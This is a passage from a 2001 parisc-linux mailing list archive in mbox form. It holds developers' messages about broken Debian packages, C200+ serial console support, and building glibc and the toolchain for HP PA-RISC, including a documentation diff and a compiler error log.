|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err:
uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  gcc-3.0-base   3.0.2-0pre0108 The GNU Compiler Collection (base
package).
pa-risc:~# apt-get -f install
Reading Package Lists... Done
Building Dependency Tree... Done
0 packages upgraded, 0 newly installed, 0 to remove and 0  not upgraded.
pa-risc:~# apt-get install gcc
Reading Package Lists... Done
Building Dependency Tree... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

Since you only requested a single operation it is extremely likely that
the package is simply not installable and a bug report against
that package should be filed.
The following information may help to resolve the situation:

Sorry, but the following packages have unmet dependencies:
  gcc: Depends: cpp (>= 2:3.0.1-8) but it is not going to be installed
       Depends: gcc-3.0 but it is not going to be installed
       Depends: cpp-3.0 but it is not going to be installed
E: Sorry, broken packages
pa-risc:~#

-- end --





From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Tue, 28 Aug 2001 00:07:48 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20010828000748.G7064@linuxcare.com>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> <20010814215030.A26703@megatonmonkey.net> <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk> <20010817155340.C8649@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620418 24521 80.91.229.3 (22 Nov 2014 01:40:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:18 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 17:06:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75B0C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 17:06:12 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A4B3DB00C; Tue, 28 Aug 2001 00:07:48 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010817155340.C8649@megatonmonkey.net>; from carlos@megatonmonkey.net on Fri, Aug 17, 2001 at 03:53:40PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11987

On Fri, Aug 17, 2001 at 03:53:40PM -0400, Carlos O'Donell Jr. wrote:
> > 
> > /usr/share/locale
> > /usr/share/locale/cs
> > /usr/share/locale/cs/LC_MESSAGES
> > /usr/share/locale/cs/LC_MESSAGES/dpkg.mo
> > 
> > I seem to remember someone saying this was a bug in an old version
> > of dpkg.  So one way around this may be to dpkg --remove texinfo, then
> > install dpkg, then install texinfo again.
> >
> 
> I tried removing texinfo. Sadly, what proceeds to occur is a 
> relative chain of packages that continually depend on 
> /usr/share/locale/cs, all the way down to 'tar.' At which point
> I had lost most of my system functionality and was scp'ing 
> binaries into /bin to keep it alive.
> 
> A fruitless effort, but interesting none the less. ;)
> 
> When I get home tonight I'll roll a new kernel and do more testing.
> 
> How does the installer get around this problem?
> Since it too must start with a base system?
> (Maybe it's just my misunderstanding of the complete inner workings
> of hte installer).

The installer starts with a bunch of .debs which are sufficiently new
that they don't have the apt-segv problem.  That is the case for the
0.9.2 ISO, anyway.

You might me able to do a fresh install from the 0.9.2 ISO to get a
more stable system.  If you don't want to do that, you could try using
dpkg -i to install .debs from that ISO.  Possibly a dpkg -i *.deb in
the binary-hppa/base dir might just work.  You should probably be running
a new(ish) kernel before you do that.

Richard





From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] Is a C200+ currently supported?
Date: Mon, 27 Aug 2001 17:25:38 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20010827172538.A9680@beavis.ybsoft.com>
References: <sb8a03e8.087@ms-zrt1>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620418 24532 80.91.229.3 (22 Nov 2014 01:40:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:18 +0000 (UTC)
Cc: rbradetich@uswest.net, parisc-linux@lists.parisc-linux.org
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 17:25:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 183FC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 17:25:44 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 2926FBCE8; Mon, 27 Aug 2001 17:25:38 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <sb8a03e8.087@ms-zrt1>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:11988

Jurriaan,

Sorry,  The STI console is not supported on the C200+ under the
0.9.2 installer.  The reason is because I added the code to walk 
the GSC busses under the ccio driver after this iso was released.
I had limited success using a TOB kernel with a GSC based
graphics card.  Unfortunately, the PCI based graphics cards
will not work with the STI console yet.

The cable needs to be a null modem cable, not a straight
serial cable.  If the cable is really a null modem cable,
you might also try disconnecting the monitor as well.

I verified my minicom settings and they are 9600 8N1 as well.

- Ryan


On Mon, Aug 27, 2001 at 08:22:02AM +0200, Jurriaan Kalkman wrote:
> >Jurriaan,
> >
> >I use a C200+ as my development machine for the parisc-linux port. So
> >yes, I try to keep the C200+ supported.  Be forwarned that I am newbie
> >kernel hacker, and sometimes it takes me a long time to find/fix the 
> >problems on these machines (ie. the ccio cpio cdrom -> disk HPMC).  I
> >have only been using the serial console interface from the C200+ so I'm
> >not sure how well (or if the STI works on this machine).  Now that I 
> >found/fixed the HPMC I was looking for, I will see if I can give it a 
> >whirl with the 0.9.2 installer tonight.
> >
> I'm dying to know how that whirl worked out, as it doesn't whirl all
> that much here.
> 
> The 0.9.2 iso hangs after
> 
> Set PSW W bit to 0
> 
> I'm trying to update the firmware from 5.3 to 6.3, perhaps that will help.
> 
> And another (very newbie) question:
> 
> If I remove the keyboard and mouse from the C200, attach a serial cable
> that is working perfectly between my modem and my Intel computer, start
> minicom, make sure it runs as 9600 8N1 and then boot the C200, should
> something happen? Minicom keeps saying it's offline, so I can't get no
> serial console.
> 
> Thanks,
> Jurriaan
> 
> 

-- 




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Mon, 27 Aug 2001 23:54:31 -0400
Lines: 83
Approved: news@gmane.org
Message-ID: <20010827235431.K28978@megatonmonkey.net>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Sr1nOIr3CvdE5hEN"
X-Trace: ger.gmane.org 1416620419 24543 80.91.229.3 (22 Nov 2014 01:40:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 21:53:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDD8E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 21:53:52 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7S4J1X11846;
	Tue, 28 Aug 2001 00:19:02 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7S3sV515605;
	Mon, 27 Aug 2001 23:54:31 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010827203849.H525@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Aug 27, 2001 at 08:38:49PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11989

--Sr1nOIr3CvdE5hEN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> > I started by building the tools, as per the instructions on the website.
> > 
> > - Built binutils
> > - Partially build gcc
> > - Unpack and configure kernel
> > - Build glibc...
> 
> Where did you get glibc from?  The only place with current patches is the
> Debian package.  Our CVS is terribly out of date.
> 
> -- 
> Revolutions do not require corporate support.

M,

That explains things...

ftp://puffin.external.hp.com/pub/parisc/cvs <== Bad!

ftp://ftp.debian.org/debian/pool/main/g/glibc/ <== Good!?

Cheers,
Carlos.

p.s. Small diff to the toolchain index.html ?

--Sr1nOIr3CvdE5hEN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="index.html.diff"

--- ./toolchain/index.html	Mon Aug 27 22:45:01 2001
+++ index.html	Mon Aug 27 23:47:33 2001
@@ -94,9 +94,23 @@
 <br>&nbsp;<br>
 The source trees of all of these are available through <A HREF="../tools/index.html">CVS</A> but we also make available nightly snapshots from <A HREF="ftp://puffin.external.hp.com/pub/parisc/cvs/">here</A>.  It is best to get a snapshot the first time you want to build a tree and update from CVS from then on. <BR>
 
-
 <OL>
 <strong><LI>Fetch GCC, Binutils, Glibc, Linux:</strong>
+<br>&nbsp;<BR>
+Note that the /pub/parisc/cvs snapshots may not be completely up
+to date for glibc. The most complete snapshots may be found at the debian
+pool <a href="ftp://ftp.debian.org/debian/pool/main">ftp://ftp.debian.org/debian/pool/main</a>. Although the example lists glibc 2.2.4, you will want to replace this with the latest available glibc version.
+<PRE>
+cd
+mkdir source
+mkdir build
+cd source
+wget ftp://ftp.debian.org/debian/pool/main/g/glibc/glibc_2.2.4.orig.tar.gz
+wget ftp://puffin.external.hp.com/pub/parisc/cvs/binutils-latest.tar.gz
+wget ftp://puffin.external.hp.com/pub/parisc/cvs/gcc-latest.tar.gz
+wget ftp://puffin.external.hp.com/pub/parisc/cvs/linux-latest.tar.gz
+</PRE>
+Or alternatively:
 <PRE>
 cd
 mkdir source
@@ -109,9 +123,15 @@
 get binutils-latest.tar.gz
 get gcc-latest.tar.gz
 get linux-latest.tar.gz
-get glibc-latest.tar.gz
+quit
+ftp ftp.debian.org
+user: anonymous
+password: you@your.email.address
+cd debian/pool/main/g/glibc
+get glibc_2.2.4.orig.tar.gz
 quit
 </PRE>
+
 
 <strong>Determine the host system setup:</strong>
 <br>&nbsp;<br>

--Sr1nOIr3CvdE5hEN--




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Tue, 28 Aug 2001 00:22:51 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20010828002251.L28978@megatonmonkey.net>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> <20010814215030.A26703@megatonmonkey.net> <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk> <20010817155340.C8649@megatonmonkey.net> <20010828000748.G7064@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620419 24544 80.91.229.3 (22 Nov 2014 01:40:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 22:22:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71346482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 22:22:08 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7S4lNX11989;
	Tue, 28 Aug 2001 00:47:23 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7S4Mpe24250;
	Tue, 28 Aug 2001 00:22:51 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828000748.G7064@linuxcare.com>; from rhirst@linuxcare.com on Tue, Aug 28, 2001 at 12:07:48AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11990

> 
> The installer starts with a bunch of .debs which are sufficiently new
> that they don't have the apt-segv problem.  That is the case for the
> 0.9.2 ISO, anyway.
> 
> You might me able to do a fresh install from the 0.9.2 ISO to get a
> more stable system.  If you don't want to do that, you could try using
> dpkg -i to install .debs from that ISO.  Possibly a dpkg -i *.deb in
> the binary-hppa/base dir might just work.  You should probably be running
> a new(ish) kernel before you do that.
> 
> Richard
>

Richard,

I think the main issue was that we were using a _really_ old kernel.
Which didn't have a lot of the later patches for the older 715 boxes.

I'm currently trying to roll the toolchain from start to end, and 
automate the process a little. BTW, is there any automation setup for
building the toolchain? Does each developer just have their own way(tm)
of doing the build?

The problem I have now lies in gathering up-to-date src for glibc,
and as Matthew pointed out, it is only available from the debian packages.

I'm currently trying this out.

Cheers,
Carlos.




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 00:39:52 -0400
Lines: 66
Approved: news@gmane.org
Message-ID: <20010828003952.M28978@megatonmonkey.net>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620419 24546 80.91.229.3 (22 Nov 2014 01:40:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 22:39:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5017482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 22:39:12 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7S54OX12089;
	Tue, 28 Aug 2001 01:04:24 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7S4dqv27744;
	Tue, 28 Aug 2001 00:39:52 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010827203849.H525@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Aug 27, 2001 at 08:38:49PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11991

> 
> Where did you get glibc from?  The only place with current patches is the
> Debian package.  Our CVS is terribly out of date.
> 
> -- 
> Revolutions do not require corporate support.
> 
>

wget ftp://ftp.debian.org/debian/pool/main/g/glibc/glibc_2.2.4.orig.tar.gz

And applied glibc_2.2.4-1.diff from same directory.

---
make[2]: Leaving directory `/mnt/fatty/palinux/src/glibc/csu'
make[2]: Entering directory `/mnt/fatty/palinux/src/glibc/csu'
gcc ../sysdeps/unix/sysv/linux/hppa/sysdep.c -c -O2 -Wall -Winline -Wstrict-pro
totypes -Wwrite-strings -g      -I../include -I. -I/mnt/fatty/palinux/build/gli
bc/csu -I.. -I../libio  -I/mnt/fatty/palinux/build/glibc -I../sysdeps/hppa/elf 
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/s
ysv/linux -I../linuxthreads/sysdeps/pthread -I../sysdeps/pthread -I../linuxthre
ads/sysdeps/unix/sysv -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/
hppa -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdep
s/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I
../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hpp
a1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/
dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I
../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic   -D_LIBC_REEN
TRANT -include ../include/libc-symbols.h     -DHAVE_INITFINI -o /mnt/fatty/pali
nux/build/glibc/csu/sysdep.o
../sysdeps/unix/sysv/linux/hppa/sysdep.c: In function `syscall':
../sysdeps/unix/sysv/linux/hppa/sysdep.c:45: invalid register name `r28' for re
gister variable
../sysdeps/unix/sysv/linux/hppa/sysdep.c:46: invalid register name `r21' for re
gister variable
../sysdeps/unix/sysv/linux/hppa/sysdep.c:46: invalid register name `r22' for re
gister variable
../sysdeps/unix/sysv/linux/hppa/sysdep.c:46: invalid register name `r23' for re
gister variable
../sysdeps/unix/sysv/linux/hppa/sysdep.c:46: invalid register name `r24' for re
gister variable
../sysdeps/unix/sysv/linux/hppa/sysdep.c:46: invalid register name `r25' for re
gister variable
../sysdeps/unix/sysv/linux/hppa/sysdep.c:46: invalid register name `r26' for re
gister variable
../sysdeps/unix/sysv/linux/hppa/sysdep.c:47: Can't find a register in class `GE
NERAL_REGS' while reloading `asm'.
make[2]: *** [/mnt/fatty/palinux/build/glibc/csu/sysdep.o] Error 1
make[2]: Leaving directory `/mnt/fatty/palinux/src/glibc/csu'
make[1]: *** [csu/subdir_lib] Error 2
make[1]: Leaving directory `/mnt/fatty/palinux/src/glibc'
make: *** [all] Error 2
---

[carlos@systemhalted hppa]$ ls -alt sysdep.c 
-rw-rw-r--    1 carlos   carlos       1794 Jul 23 13:57 sysdep.c
[carlos@systemhalted hppa]$ 

Any thoughts or helpfull comments? :)
How do you developers do it?

Cheers,
Carlos.




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 06:10:37 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620420 24548 80.91.229.3 (22 Nov 2014 01:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:20 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 27 23:10:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C107482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Aug 2001 23:10:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bb93-0003jI-00; Tue, 28 Aug 2001 06:10:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828003952.M28978@megatonmonkey.net>; from carlos@megatonmonkey.net on Tue, Aug 28, 2001 at 12:39:52AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11992

On Tue, Aug 28, 2001 at 12:39:52AM -0400, Carlos O'Donell Jr. wrote:
> wget ftp://ftp.debian.org/debian/pool/main/g/glibc/glibc_2.2.4.orig.tar.gz
> 
> And applied glibc_2.2.4-1.diff from same directory.

2.2.4-1 doesn't build.  I haven't investigated in any detail, but it gets
further than your build error indicates.  Use dpkg-buildpackage to build
it... and you need to uncomment the hppa-specific patch in 0list... and
you need to edit the patch anyway to get it to apply...

I have no enthusiasm for working on glibc.  Please, someone, take it
off my hands.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: david.wong@skytex.com.hk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Tue, 28 Aug 2001 16:19:55 +0800
Lines: 136
Approved: news@gmane.org
Message-ID: <4FE292692956D411A3FB009027C3F1822554EF@apps01.skytex.com.hk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C12F9A.37F3D400"
X-Trace: ger.gmane.org 1416620420 24551 80.91.229.3 (22 Nov 2014 01:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 02:23:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from apps01.skytex.com.hk (186_78user154.ctinets.com [203.186.78.154])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB6FF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 02:22:59 -0600 (MDT)
Original-Received: by apps01.skytex.com.hk with Internet Mail Service (5.5.2653.19)
	id <QBX9Z37N>; Tue, 28 Aug 2001 16:19:56 +0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11993

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C12F9A.37F3D400
Content-Type: text/plain

 

------_=_NextPart_001_01C12F9A.37F3D400
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C12FDC.F32567B0">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:UseFELayout/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:SimSun;
	panose-1:2 1 6 0 3 1 1 1 1 1;
	mso-font-alt:\5B8B\4F53;
	mso-font-charset:134;
	mso-generic-font-family:auto;
	mso-font-pitch:variable;
	mso-font-signature:3 135135232 16 0 262145 0;}
@font-face
	{font-family:"\@SimSun";
	panose-1:2 1 6 0 3 1 1 1 1 1;
	mso-font-charset:134;
	mso-generic-font-family:auto;
	mso-font-pitch:variable;
	mso-font-signature:3 135135232 16 0 262145 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:SimSun;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C12F9A.37F3D400--




From - Thu Nov 08 21:18:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Tue, 28 Aug 2001 11:30:05 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20010828093052.86D9C482B@dsl2.external.hp.com>
References: <200108280922.DAA19668@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
